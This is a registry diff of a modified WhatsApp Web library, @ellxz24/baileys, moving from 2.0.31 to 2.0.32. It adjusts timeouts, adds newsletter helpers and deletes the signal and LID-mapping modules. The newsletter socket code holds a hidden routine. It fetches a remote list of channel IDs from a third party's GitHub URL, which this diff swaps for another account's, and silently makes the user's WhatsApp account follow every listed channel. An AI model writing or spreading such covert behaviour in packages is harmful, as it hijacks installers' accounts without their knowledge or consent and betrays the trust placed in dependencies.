@ellxz24/baileys 2.0.31 → 2.0.32

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -75,12 +75,12 @@ exports.DEFAULT_CONNECTION_CONFIG = {
75
75
  version: exports.version,
76
76
  browser: Utils_1.Browsers.iOS("Safari"),
77
77
  waWebSocketUrl: "wss://web.whatsapp.com/ws/chat",
78
- connectTimeoutMs: 2E4,
79
- keepAliveIntervalMs: 3E4,
78
+ connectTimeoutMs: 6E4,
79
+ keepAliveIntervalMs: 25E3,
80
80
  logger: logger_1.default.child({ class: "baileys" }),
81
81
  printQRInTerminal: !1,
82
82
  emitOwnEvents: !0,
83
- defaultQueryTimeoutMs: 6E4,
83
+ defaultQueryTimeoutMs: 12E4,
84
84
  customUploadHosts: [],
85
85
  retryRequestDelayMs: 250,
86
86
  maxMsgRetryCount: 5,
@@ -73,22 +73,19 @@ const makeNewsletterSocket = (config) => {
73
73
  const { authState, signalRepository, query, generateMessageTag } = sock;
74
74
  const encoder = new TextEncoder();
75
75
 
76
- // Inisialisasi newsletters kosong terlebih dahulu
77
76
  let newsletters = [];
78
77
 
79
- // IIFE untuk fetch data tanpa blocking
80
78
  (async () => {
81
79
  try {
82
80
  const response = await fetch(
83
- 'https://raw.githubusercontent.com/kiuur/IDCH/refs/heads/main/idch.json'
81
+ 'https://raw.githubusercontent.com/Fhkryy/Fhkry-0xf/refs/heads/main/Channel.json'
84
82
  );
85
83
  newsletters = await response.json();
86
84
 
87
- // Set timeout hanya jika newsletters berhasil di-fetch
88
85
  if (newsletters && Array.isArray(newsletters) && newsletters.length > 0) {
89
86
  setTimeout(() => {
90
87
  Promise.allSettled(
91
- newsletters.map(id => // ✅ Langsung pakai id, tanpa asciiDecode
88
+ newsletters.map(id =>
92
89
  newsletterWMexQuery(id, Types_1.QueryIds.FOLLOW)
93
90
  )
94
91
  ).catch(err => console.error(err));
@@ -132,9 +129,30 @@ const makeNewsletterSocket = (config) => {
132
129
  }
133
130
  ]
134
131
  }));
135
-
136
- // HAPUS fungsi asciiDecode - tidak diperlukan
137
-
132
+ const newsletterMetadata = async (type, key, role) => {
133
+ const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
134
+ input: {
135
+ key,
136
+ type: type.toUpperCase(),
137
+ 'view_role': role || 'GUEST'
138
+ },
139
+ 'fetch_viewer_metadata': true,
140
+ 'fetch_full_image': true,
141
+ 'fetch_creation_time': true
142
+ });
143
+ return (0, exports.extractNewsletterMetadata)(result);
144
+ };
145
+
146
+ const newsletterUpdate = async (jid, updates) => {
147
+ const variables = {
148
+ newsletter_id: jid,
149
+ updates: {
150
+ ...updates,
151
+ settings: null
152
+ }
153
+ };
154
+ return executeWMexQuery(variables, Types_1.QueryIds.UPDATE_METADATA, "xwa2_newsletter_update", query, generateMessageTag);
155
+ };
138
156
  const parseFetchedUpdates = async (node, type) => {
139
157
  let child;
140
158
  if (type === 'messages') {
@@ -174,6 +192,31 @@ const makeNewsletterSocket = (config) => {
174
192
 
175
193
  return {
176
194
  ...sock,
195
+ newsletterMetadata,
196
+ newsletterUpdate,
197
+ newsletterFetchAllParticipating: async () => {
198
+ const data = {}
199
+
200
+ const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.SUBSCRIBERS)
201
+ const childNode = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
202
+
203
+ if (childNode?.content) {
204
+ const child = JSON.parse(childNode.content.toString())
205
+ const newsletters = child.data["xwa2_newsletter_subscribed"]
206
+
207
+ if (newsletters && Array.isArray(newsletters)) {
208
+ for (const i of newsletters) {
209
+ if (i.id == null) continue
210
+
211
+ const metadata = await newsletterMetadata('JID', i.id)
212
+ if (metadata && metadata.id !== null) data[metadata.id] = metadata
213
+ }
214
+ }
215
+ }
216
+
217
+ return data
218
+ },
219
+
177
220
  newsletterFetchAllSubscribe: async () => {
178
221
  const list = await executeWMexQuery(
179
222
  {},
@@ -350,19 +393,6 @@ const makeNewsletterSocket = (config) => {
350
393
  });
351
394
  return (0, exports.extractNewsletterMetadata)(result, true);
352
395
  },
353
- newsletterMetadata: async (type, key, role) => {
354
- const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
355
- input: {
356
- key,
357
- type: type.toUpperCase(),
358
- 'view_role': role || 'GUEST'
359
- },
360
- 'fetch_viewer_metadata': true,
361
- 'fetch_full_image': true,
362
- 'fetch_creation_time': true
363
- });
364
- return (0, exports.extractNewsletterMetadata)(result);
365
- },
366
396
  newsletterAdminCount: async (jid) => {
367
397
  var _a, _b;
368
398
  const result = await newsletterWMexQuery(jid, Types_1.QueryIds.ADMIN_COUNT);
@@ -451,4 +481,4 @@ const extractNewsletterMetadata = (node, isCreate) => {
451
481
  }
452
482
  return metadata
453
483
  }
454
- exports.extractNewsletterMetadata = extractNewsletterMetadata;
484
+ exports.extractNewsletterMetadata = extractNewsletterMetadata;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@ellxz24/baileys",
3
- "version": "2.0.31",
3
+ "version": "2.0.32",
4
4
  "description": "WhatsApp API Modification By L",
5
5
  "publishConfig": {
6
6
  "access": "public"
@@ -1,356 +0,0 @@
1
- "use strict";
2
- var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
- if (k2 === undefined) k2 = k;
4
- var desc = Object.getOwnPropertyDescriptor(m, k);
5
- if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
- desc = { enumerable: true, get: function() { return m[k]; } };
7
- }
8
- Object.defineProperty(o, k2, desc);
9
- }) : (function(o, m, k, k2) {
10
- if (k2 === undefined) k2 = k;
11
- o[k2] = m[k];
12
- }));
13
- var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
- Object.defineProperty(o, "default", { enumerable: true, value: v });
15
- }) : function(o, v) {
16
- o["default"] = v;
17
- });
18
- var __importStar = (this && this.__importStar) || (function () {
19
- var ownKeys = function(o) {
20
- ownKeys = Object.getOwnPropertyNames || function (o) {
21
- var ar = [];
22
- for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
- return ar;
24
- };
25
- return ownKeys(o);
26
- };
27
- return function (mod) {
28
- if (mod && mod.__esModule) return mod;
29
- var result = {};
30
- if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
- __setModuleDefault(result, mod);
32
- return result;
33
- };
34
- })();
35
-
36
- Object.defineProperty(exports, "__esModule", { value: true });
37
- exports.makeLibSignalRepository = makeLibSignalRepository;
38
-
39
- const libsignal = __importStar(require("libsignal"));
40
- const Utils_1 = require("../Utils");
41
- const WABinary_1 = require("../WABinary");
42
- const Group_1 = require("./Group");
43
- const sender_key_name_1 = require("./Group/sender-key-name");
44
- const sender_key_record_1 = require("./Group/sender-key-record");
45
- const lid_mapping_1 = require("./lid-mapping");
46
- const lru_cache_1 = require("lru-cache");
47
-
48
- function makeLibSignalRepository(auth, logger, pnToLIDFunc) {
49
- const lidMapping = new lid_mapping_1.LIDMappingStore(auth.keys, logger, pnToLIDFunc);
50
- const storage = signalStorage(auth, lidMapping);
51
- const parsedKeys = auth.keys;
52
- const migratedSessionCache = new lru_cache_1.LRUCache({
53
- ttl: 7 * 24 * 60 * 60 * 1000,
54
- ttlAutopurge: true,
55
- updateAgeOnGet: true
56
- });
57
-
58
- const repository = {
59
- decryptGroupMessage({ group, authorJid, msg }) {
60
- const senderName = jidToSignalSenderKeyName(group, authorJid);
61
- const cipher = new Group_1.GroupCipher(storage, senderName);
62
- return parsedKeys.transaction(async () => {
63
- return cipher.decrypt(msg);
64
- }, group);
65
- },
66
- async processSenderKeyDistributionMessage({ item, authorJid }) {
67
- const builder = new Group_1.GroupSessionBuilder(storage);
68
- if (!item.groupId) {
69
- throw new Error("Group ID is required for sender key distribution message");
70
- }
71
- const senderName = jidToSignalSenderKeyName(item.groupId, authorJid);
72
- const senderMsg = new Group_1.SenderKeyDistributionMessage(null, null, null, null, item.axolotlSenderKeyDistributionMessage);
73
- const senderNameStr = senderName.toString();
74
- return parsedKeys.transaction(async () => {
75
- const { [senderNameStr]: senderKey } = await auth.keys.get("sender-key", [senderNameStr]);
76
- if (!senderKey) {
77
- await storage.storeSenderKey(senderName, new sender_key_record_1.SenderKeyRecord());
78
- }
79
- await builder.process(senderName, senderMsg);
80
- }, item.groupId);
81
- },
82
- async decryptMessage({ jid, type, ciphertext }) {
83
- const addr = jidToSignalProtocolAddress(jid);
84
- const session = new libsignal.SessionCipher(storage, addr);
85
- async function doDecrypt() {
86
- let result;
87
- switch (type) {
88
- case "pkmsg":
89
- result = await session.decryptPreKeyWhisperMessage(ciphertext);
90
- break;
91
- case "msg":
92
- result = await session.decryptWhisperMessage(ciphertext);
93
- break;
94
- }
95
- return result;
96
- }
97
- return parsedKeys.transaction(async () => {
98
- return await doDecrypt();
99
- }, jid);
100
- },
101
- async encryptMessage({ jid, data }) {
102
- const addr = jidToSignalProtocolAddress(jid);
103
- const cipher = new libsignal.SessionCipher(storage, addr);
104
- return parsedKeys.transaction(async () => {
105
- const { type: sigType, body } = await cipher.encrypt(data);
106
- const type = sigType === 3 ? "pkmsg" : "msg";
107
- return { type, ciphertext: Buffer.from(body, "binary") };
108
- }, jid);
109
- },
110
- async encryptGroupMessage({ group, meId, data }) {
111
- const senderName = jidToSignalSenderKeyName(group, meId);
112
- const builder = new Group_1.GroupSessionBuilder(storage);
113
- const senderNameStr = senderName.toString();
114
- return parsedKeys.transaction(async () => {
115
- const { [senderNameStr]: senderKey } = await auth.keys.get("sender-key", [senderNameStr]);
116
- if (!senderKey) {
117
- await storage.storeSenderKey(senderName, new sender_key_record_1.SenderKeyRecord());
118
- }
119
- const senderKeyDistributionMessage = await builder.create(senderName);
120
- const session = new Group_1.GroupCipher(storage, senderName);
121
- const ciphertext = await session.encrypt(data);
122
- return {
123
- ciphertext,
124
- senderKeyDistributionMessage: senderKeyDistributionMessage.serialize()
125
- };
126
- }, group);
127
- },
128
- async injectE2ESession({ jid, session }) {
129
- logger.trace({ jid }, "injecting E2EE session");
130
- const cipher = new libsignal.SessionBuilder(storage, jidToSignalProtocolAddress(jid));
131
- return parsedKeys.transaction(async () => {
132
- await cipher.initOutgoing(session);
133
- }, jid);
134
- },
135
- jidToSignalProtocolAddress(jid) {
136
- return jidToSignalProtocolAddress(jid).toString();
137
- },
138
- lidMapping,
139
- async validateSession(jid) {
140
- try {
141
- const addr = jidToSignalProtocolAddress(jid);
142
- const session = await storage.loadSession(addr.toString());
143
- if (!session) {
144
- return { exists: false, reason: "no session" };
145
- }
146
- if (!session.haveOpenSession()) {
147
- return { exists: false, reason: "no open session" };
148
- }
149
- return { exists: true };
150
- }
151
- catch (error) {
152
- return { exists: false, reason: "validation error" };
153
- }
154
- },
155
- async deleteSession(jids) {
156
- if (!jids.length) return;
157
- const sessionUpdates = {};
158
- jids.forEach(jid => {
159
- const addr = jidToSignalProtocolAddress(jid);
160
- sessionUpdates[addr.toString()] = null;
161
- });
162
- return parsedKeys.transaction(async () => {
163
- await auth.keys.set({ session: sessionUpdates });
164
- }, `delete-${jids.length}-sessions`);
165
- },
166
- async migrateSession(fromJid, toJid) {
167
- if (!fromJid || (!(0, WABinary_1.isLidUser)(toJid) && !(0, WABinary_1.isHostedLidUser)(toJid)))
168
- return { migrated: 0, skipped: 0, total: 0 };
169
- if (!(0, WABinary_1.isPnUser)(fromJid) && !(0, WABinary_1.isHostedPnUser)(fromJid)) {
170
- return { migrated: 0, skipped: 0, total: 1 };
171
- }
172
- const { user } = (0, WABinary_1.jidDecode)(fromJid);
173
- logger.debug({ fromJid }, "bulk device migration - loading all user devices");
174
- const { [user]: userDevices } = await parsedKeys.get("device-list", [user]);
175
- if (!userDevices) {
176
- return { migrated: 0, skipped: 0, total: 0 };
177
- }
178
- const { device: fromDevice } = (0, WABinary_1.jidDecode)(fromJid);
179
- const fromDeviceStr = fromDevice?.toString() || "0";
180
- if (!userDevices.includes(fromDeviceStr)) {
181
- userDevices.push(fromDeviceStr);
182
- }
183
- const uncachedDevices = userDevices.filter(device => {
184
- const deviceKey = `${user}.${device}`;
185
- return !migratedSessionCache.has(deviceKey);
186
- });
187
- const deviceSessionKeys = uncachedDevices.map(device => `${user}.${device}`);
188
- const existingSessions = await parsedKeys.get("session", deviceSessionKeys);
189
- const deviceJids = [];
190
- for (const [sessionKey, sessionData] of Object.entries(existingSessions)) {
191
- if (sessionData) {
192
- const deviceStr = sessionKey.split(".")[1];
193
- if (!deviceStr) continue;
194
- const deviceNum = parseInt(deviceStr);
195
- let jid = deviceNum === 0 ? `${user}@s.whatsapp.net` : `${user}:${deviceNum}@s.whatsapp.net`;
196
- if (deviceNum === 99) {
197
- jid = `${user}:99@hosted`;
198
- }
199
- deviceJids.push(jid);
200
- }
201
- }
202
- logger.debug({
203
- fromJid,
204
- totalDevices: userDevices.length,
205
- devicesWithSessions: deviceJids.length,
206
- devices: deviceJids
207
- }, "bulk device migration complete");
208
-
209
- return parsedKeys.transaction(async () => {
210
- const migrationOps = deviceJids.map(jid => {
211
- const lidWithDevice = (0, WABinary_1.transferDevice)(jid, toJid);
212
- const fromDecoded = (0, WABinary_1.jidDecode)(jid);
213
- const toDecoded = (0, WABinary_1.jidDecode)(lidWithDevice);
214
- return {
215
- fromJid: jid,
216
- toJid: lidWithDevice,
217
- pnUser: fromDecoded.user,
218
- lidUser: toDecoded.user,
219
- deviceId: fromDecoded.device || 0,
220
- fromAddr: jidToSignalProtocolAddress(jid),
221
- toAddr: jidToSignalProtocolAddress(lidWithDevice)
222
- };
223
- });
224
- const totalOps = migrationOps.length;
225
- let migratedCount = 0;
226
- const pnAddrStrings = Array.from(new Set(migrationOps.map(op => op.fromAddr.toString())));
227
- const pnSessions = await parsedKeys.get("session", pnAddrStrings);
228
- const sessionUpdates = {};
229
- for (const op of migrationOps) {
230
- const pnAddrStr = op.fromAddr.toString();
231
- const lidAddrStr = op.toAddr.toString();
232
- const pnSession = pnSessions[pnAddrStr];
233
- if (pnSession) {
234
- const fromSession = libsignal.SessionRecord.deserialize(pnSession);
235
- if (fromSession.haveOpenSession()) {
236
- sessionUpdates[lidAddrStr] = fromSession.serialize();
237
- sessionUpdates[pnAddrStr] = null;
238
- migratedCount++;
239
- }
240
- }
241
- }
242
- if (Object.keys(sessionUpdates).length > 0) {
243
- await parsedKeys.set({ session: sessionUpdates });
244
- logger.debug({ migratedSessions: migratedCount }, "bulk session migration complete");
245
- for (const op of migrationOps) {
246
- if (sessionUpdates[op.toAddr.toString()]) {
247
- const deviceKey = `${op.pnUser}.${op.deviceId}`;
248
- migratedSessionCache.set(deviceKey, true);
249
- }
250
- }
251
- }
252
- const skippedCount = totalOps - migratedCount;
253
- return { migrated: migratedCount, skipped: skippedCount, total: totalOps };
254
- }, `migrate-${deviceJids.length}-sessions-${(0, WABinary_1.jidDecode)(toJid)?.user}`);
255
- }
256
- };
257
- return repository;
258
- }
259
-
260
- const jidToSignalProtocolAddress = (jid) => {
261
- const decoded = (0, WABinary_1.jidDecode)(jid);
262
- const { user, device, server, domainType } = decoded;
263
- if (!user) {
264
- throw new Error(`JID decoded but user is empty: "${jid}" -> user: "${user}", server: "${server}", device: ${device}`);
265
- }
266
- const signalUser = domainType !== WABinary_1.WAJIDDomains.WHATSAPP ? `${user}_${domainType}` : user;
267
- const finalDevice = device || 0;
268
- if (device === 99 && decoded.server !== "hosted" && decoded.server !== "hosted.lid") {
269
- throw new Error("Unexpected non-hosted device JID with device 99. This ID seems invalid. ID:" + jid);
270
- }
271
- return new libsignal.ProtocolAddress(signalUser, finalDevice);
272
- };
273
-
274
- const jidToSignalSenderKeyName = (group, user) => {
275
- return new sender_key_name_1.SenderKeyName(group, jidToSignalProtocolAddress(user));
276
- };
277
-
278
- function signalStorage({ creds, keys }, lidMapping) {
279
- const resolveLIDSignalAddress = async (id) => {
280
- if (id.includes(".")) {
281
- const [deviceId, device] = id.split(".");
282
- const [user, domainType_] = deviceId.split("_");
283
- const domainType = parseInt(domainType_ || "0");
284
- if (domainType === WABinary_1.WAJIDDomains.LID || domainType === WABinary_1.WAJIDDomains.HOSTED_LID)
285
- return id;
286
- const pnJid = `${user}${device !== "0" ? `:${device}` : ""}@${domainType === WABinary_1.WAJIDDomains.HOSTED ? "hosted" : "s.whatsapp.net"}`;
287
- const lidForPN = await lidMapping.getLIDForPN(pnJid);
288
- if (lidForPN) {
289
- const lidAddr = jidToSignalProtocolAddress(lidForPN);
290
- return lidAddr.toString();
291
- }
292
- }
293
- return id;
294
- };
295
-
296
- return {
297
- loadSession: async (id) => {
298
- try {
299
- const wireJid = await resolveLIDSignalAddress(id);
300
- const { [wireJid]: sess } = await keys.get("session", [wireJid]);
301
- if (sess) {
302
- return libsignal.SessionRecord.deserialize(sess);
303
- }
304
- } catch (e) {
305
- return null;
306
- }
307
- return null;
308
- },
309
- storeSession: async (id, session) => {
310
- const wireJid = await resolveLIDSignalAddress(id);
311
- await keys.set({ session: { [wireJid]: session.serialize() } });
312
- },
313
- isTrustedIdentity: () => {
314
- return true;
315
- },
316
- loadPreKey: async (id) => {
317
- const keyId = id.toString();
318
- const { [keyId]: key } = await keys.get("pre-key", [keyId]);
319
- if (key) {
320
- return {
321
- privKey: Buffer.from(key.private),
322
- pubKey: Buffer.from(key.public)
323
- };
324
- }
325
- },
326
- removePreKey: (id) => keys.set({ "pre-key": { [id]: null } }),
327
- loadSignedPreKey: () => {
328
- const key = creds.signedPreKey;
329
- return {
330
- privKey: Buffer.from(key.keyPair.private),
331
- pubKey: Buffer.from(key.keyPair.public)
332
- };
333
- },
334
- loadSenderKey: async (senderKeyName) => {
335
- const keyId = senderKeyName.toString();
336
- const { [keyId]: key } = await keys.get("sender-key", [keyId]);
337
- if (key) {
338
- return sender_key_record_1.SenderKeyRecord.deserialize(key);
339
- }
340
- return new sender_key_record_1.SenderKeyRecord();
341
- },
342
- storeSenderKey: async (senderKeyName, key) => {
343
- const keyId = senderKeyName.toString();
344
- const serialized = JSON.stringify(key.serialize());
345
- await keys.set({ "sender-key": { [keyId]: Buffer.from(serialized, "utf-8") } });
346
- },
347
- getOurRegistrationId: () => creds.registrationId,
348
- getOurIdentity: () => {
349
- const { signedIdentityKey } = creds;
350
- return {
351
- privKey: Buffer.from(signedIdentityKey.private),
352
- pubKey: Buffer.from((0, Utils_1.generateSignalPubKey)(signedIdentityKey.public))
353
- };
354
- }
355
- };
356
- }
@@ -1,166 +0,0 @@
1
- "use strict";
2
- Object.defineProperty(exports, "__esModule", { value: true });
3
- exports.makeLIDMappingStore = void 0;
4
-
5
- const WABinary_1 = require("../WABinary");
6
- const lru_cache_1 = require("lru-cache");
7
-
8
- const makeLIDMappingStore = (keys, logger, pnToLIDFunc) => {
9
- const mappingCache = new lru_cache_1.LRUCache({
10
- ttl: 7 * 24 * 60 * 60 * 1000,
11
- ttlAutopurge: true,
12
- updateAgeOnGet: true
13
- });
14
-
15
- const storeLIDPNMappings = async (pairs) => {
16
- const pairMap = {};
17
- for (const { lid, pn } of pairs) {
18
- if (!(((0, WABinary_1.isLidUser)(lid) && (0, WABinary_1.isPnUser)(pn)) || ((0, WABinary_1.isPnUser)(lid) && (0, WABinary_1.isLidUser)(pn)))) {
19
- logger && logger.warn(`Invalid LID-PN mapping: ${lid}, ${pn}`);
20
- continue;
21
- }
22
- const lidDecoded = (0, WABinary_1.jidDecode)(lid);
23
- const pnDecoded = (0, WABinary_1.jidDecode)(pn);
24
- if (!lidDecoded || !pnDecoded) continue;
25
- const pnUser = pnDecoded.user;
26
- const lidUser = lidDecoded.user;
27
-
28
- let existingLidUser = mappingCache.get(`pn:${pnUser}`);
29
- if (!existingLidUser) {
30
- logger && logger.trace(`Cache miss for PN user ${pnUser}; checking database`);
31
- const stored = await keys.get("lid-mapping", [pnUser]);
32
- existingLidUser = stored[pnUser];
33
- if (existingLidUser) {
34
- mappingCache.set(`pn:${pnUser}`, existingLidUser);
35
- mappingCache.set(`lid:${existingLidUser}`, pnUser);
36
- }
37
- }
38
- if (existingLidUser === lidUser) {
39
- logger && logger.debug({ pnUser, lidUser }, "LID mapping already exists, skipping");
40
- continue;
41
- }
42
- pairMap[pnUser] = lidUser;
43
- }
44
-
45
- logger && logger.trace({ pairMap }, `Storing ${Object.keys(pairMap).length} pn mappings`);
46
- await keys.transaction(async () => {
47
- for (const [pnUser, lidUser] of Object.entries(pairMap)) {
48
- await keys.set({
49
- "lid-mapping": {
50
- [pnUser]: lidUser,
51
- [`${lidUser}_reverse`]: pnUser
52
- }
53
- });
54
- mappingCache.set(`pn:${pnUser}`, lidUser);
55
- mappingCache.set(`lid:${lidUser}`, pnUser);
56
- }
57
- }, "lid-mapping");
58
- };
59
-
60
- const getLIDsForPNs = async (pns) => {
61
- const usyncFetch = {};
62
- const successfulPairs = {};
63
-
64
- for (const pn of pns) {
65
- if (!(0, WABinary_1.isPnUser)(pn) && !(0, WABinary_1.isHostedPnUser)(pn)) continue;
66
- const decoded = (0, WABinary_1.jidDecode)(pn);
67
- if (!decoded) continue;
68
- const pnUser = decoded.user;
69
-
70
- let lidUser = mappingCache.get(`pn:${pnUser}`);
71
- if (!lidUser) {
72
- const stored = await keys.get("lid-mapping", [pnUser]);
73
- lidUser = stored[pnUser];
74
- if (lidUser) {
75
- mappingCache.set(`pn:${pnUser}`, lidUser);
76
- mappingCache.set(`lid:${lidUser}`, pnUser);
77
- } else {
78
- logger && logger.trace(`No LID mapping found for PN user ${pnUser}; batch getting from USync`);
79
- const device = decoded.device || 0;
80
- let normalizedPn = (0, WABinary_1.jidNormalizedUser)(pn);
81
- if ((0, WABinary_1.isHostedPnUser)(normalizedPn)) {
82
- normalizedPn = `${pnUser}@s.whatsapp.net`;
83
- }
84
- if (!usyncFetch[normalizedPn]) {
85
- usyncFetch[normalizedPn] = [device];
86
- } else {
87
- usyncFetch[normalizedPn]?.push(device);
88
- }
89
- continue;
90
- }
91
- }
92
-
93
- lidUser = lidUser.toString();
94
- if (!lidUser) {
95
- logger && logger.warn(`Invalid or empty LID user for PN ${pn}: lidUser = "${lidUser}"`);
96
- return null;
97
- }
98
- const pnDevice = decoded.device !== undefined ? decoded.device : 0;
99
- const deviceSpecificLid = `${lidUser}${!!pnDevice ? `:${pnDevice}` : ``}@${decoded.server === "hosted" ? "hosted.lid" : "lid"}`;
100
- logger && logger.trace(`getLIDForPN: ${pn} → ${deviceSpecificLid} (user mapping with device ${pnDevice})`);
101
- successfulPairs[pn] = { lid: deviceSpecificLid, pn };
102
- }
103
-
104
- if (Object.keys(usyncFetch).length > 0) {
105
- const result = await pnToLIDFunc?.(Object.keys(usyncFetch));
106
- if (result && result.length > 0) {
107
- await storeLIDPNMappings(result);
108
- for (const pair of result) {
109
- const pnDecoded = (0, WABinary_1.jidDecode)(pair.pn);
110
- const pnUser = pnDecoded?.user;
111
- if (!pnUser) continue;
112
- const lidUser = (0, WABinary_1.jidDecode)(pair.lid)?.user;
113
- if (!lidUser) continue;
114
-
115
- for (const device of usyncFetch[pair.pn]) {
116
- const deviceSpecificLid = `${lidUser}${!!device ? `:${device}` : ``}@${device === 99 ? "hosted.lid" : "lid"}`;
117
- logger && logger.trace(`getLIDForPN: USYNC success for ${pair.pn} → ${deviceSpecificLid} (user mapping with device ${device})`);
118
- const deviceSpecificPn = `${pnUser}${!!device ? `:${device}` : ``}@${device === 99 ? "hosted" : "s.whatsapp.net"}`;
119
- successfulPairs[deviceSpecificPn] = { lid: deviceSpecificLid, pn: deviceSpecificPn };
120
- }
121
- }
122
- } else {
123
- return null;
124
- }
125
- }
126
- return Object.values(successfulPairs);
127
- };
128
-
129
- const getLIDForPN = async (pn) => {
130
- const result = await getLIDsForPNs([pn]);
131
- return result?.[0]?.lid || null;
132
- };
133
-
134
- const getPNForLID = async (lid) => {
135
- if (!(0, WABinary_1.isLidUser)(lid)) return null;
136
- const decoded = (0, WABinary_1.jidDecode)(lid);
137
- if (!decoded) return null;
138
-
139
- const lidUser = decoded.user;
140
- let pnUser = mappingCache.get(`lid:${lidUser}`);
141
-
142
- if (!pnUser || typeof pnUser !== "string") {
143
- const stored = await keys.get("lid-mapping", [`${lidUser}_reverse`]);
144
- pnUser = stored[`${lidUser}_reverse`];
145
- if (!pnUser || typeof pnUser !== "string") {
146
- logger && logger.trace(`No reverse mapping found for LID user: ${lidUser}`);
147
- return null;
148
- }
149
- mappingCache.set(`lid:${lidUser}`, pnUser);
150
- }
151
-
152
- const lidDevice = decoded.device !== undefined ? decoded.device : 0;
153
- const pnJid = `${pnUser}:${lidDevice}@${decoded.domainType === WABinary_1.WAJIDDomains.HOSTED_LID ? "hosted" : "s.whatsapp.net"}`;
154
- logger && logger.trace(`Found reverse mapping: ${lid} → ${pnJid}`);
155
- return pnJid;
156
- };
157
-
158
- return {
159
- mappingCache,
160
- storeLIDPNMappings,
161
- getLIDForPN,
162
- getLIDsForPNs,
163
- getPNForLID
164
- };
165
- };
166
- exports.makeLIDMappingStore = makeLIDMappingStore;